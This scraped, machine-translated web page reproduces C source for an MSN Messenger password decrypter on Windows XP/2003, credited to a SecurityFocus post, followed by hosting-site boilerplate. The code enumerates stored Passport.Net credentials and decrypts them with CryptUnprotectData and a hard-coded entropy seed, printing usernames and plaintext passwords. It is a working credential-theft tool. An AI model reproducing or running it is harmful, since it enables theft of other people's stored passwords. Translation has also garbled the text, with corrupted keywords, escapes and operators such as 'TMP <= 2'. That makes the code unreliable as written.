MSN Messager Password

Source: Internet
Author: User

How can I save my password? I need to save it with a hash. Failed,ProgramFind the password directly. Windows XP + VC ++ 7.0 is compiled.

# Include <windows. h>
# Include <wincrypt. h>
# Include <stdio. h>

# Pragma comment (Lib, "crypt32.lib ")

// Following definitions taken from wincred. h
// [Available only in Oct 2002 MS Platform SDK/

Typedef struct _ credential_attributea {
Lpstr keyword;
DWORD flags;
DWORD valuesize;
Lpbyte value;
}
Credential_attributea, * pcredential_attributea;

Typedef struct _ credentiala {
DWORD flags;
DWORD type;
Lpstr targetname;
Lpstr comment;
Filetime lastwritten;
DWORD credentialblobsize;
Lpbyte credentialblob;
DWORD persist;
DWORD attributecount;
Pcredential_attributea attributes;
Lpstr targetalias;
Lpstr username;
} Credentiala, * pcredentiala;

Typedef credentiala credential;
Typedef pcredentiala pcredential;

//////////////////////////////////////// ////////////////////////////

Typedef bool (winapi * typecredenumeratea) (lpctstr,
DWORD, DWORD *, pcredentiala **);
Typedef bool (winapi * typecredreada) (lpctstr, DWORD,
DWORD, pcredentiala *);
Typedef void (winapi * typecredfree) (pvoid );

Typecredenumeratea pfcredenumeratea;
Typecredreada pfcredreada;
Typecredfree pfcredfree;

//////////////////////////////////////// ////////////////////////////

Void showbanner ()
{
Printf ("MSN Messenger password decrypter for Windows XP/2003/N ");
Printf ("-Gregory R. panakkal, http://www.infogreg.com \ n ");
}

//////////////////////////////////////// ////////////////////////////
Int main ()
{
Pcredential * credentialcollection = NULL;
Data_blob blobcrypt, blobplaintext, blobentropy;

// Used for filling up blobentropy
Char szentropystringseed [37] =
"82bd0e67-9fea-4748-8672-d5efe5b779b0"; // credui. dll
Short int entropydata [37];
Short int TMP;

Hmodule hdll;
DWORD count, I;

Showbanner ();

// Locate credenumerate, credread, credfree from advapi32.dll
If (hdll = loadlibrary ("advapi32.dll "))
{
Pfcredenumeratea =
(Typecredenumeratea) getprocaddress (hdll,
"Credenumeratea ");
Pfcredreada =
(Typecredreada) getprocaddress (hdll, "credreada ");
Pfcredfree =
(Typecredfree) getprocaddress (hdll, "credfree ");

If (pfcredenumeratea = NULL |
Pfcredreada = NULL |
Pfcredfree = NULL)
{
Printf ("error! \ N ");
Return-1;
}
}

// Get an array of 'credential ', satisfying the filter
Pfcredenumeratea ("passport. Net \ *", 0, & count,
& Credentialcollection );

If (count) // usually this value is only 1
{

// Calculate entropy data
For (I = 0; I <37; I ++) // strlen (szentropystringseed) = 37
{
TMP = (short INT) szentropystringseed [I];
TMP <= 2;
Entropydata [I] = TMP;
}

For (I = 0; I <count; I ++)
{
Blobentropy. pbdata = (byte *) & entropydata;
Blobentropy. cbdata = 74;
// Sizeof (entropydata)

Blobcrypt. pbdata =
Credentialcollection [I]-> credentialblob;
Blobcrypt. cbdata =
Credentialcollection [I]-> credentialblobsize;

Cryptunprotectdata (& blobcrypt, null,
& Blobentropy, null, null, 1, & blobplaintext );

Printf ("username: % s \ n ",
Credentialcollection [I]-> username );
Printf ("Password: % ls \ n ",
Blobplaintext. pbdata );
}
}

Pfcredfree (credentialcollection );
}

Source:
Http://www.securityfocus.net/archive/1/408425/30/0/threaded

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.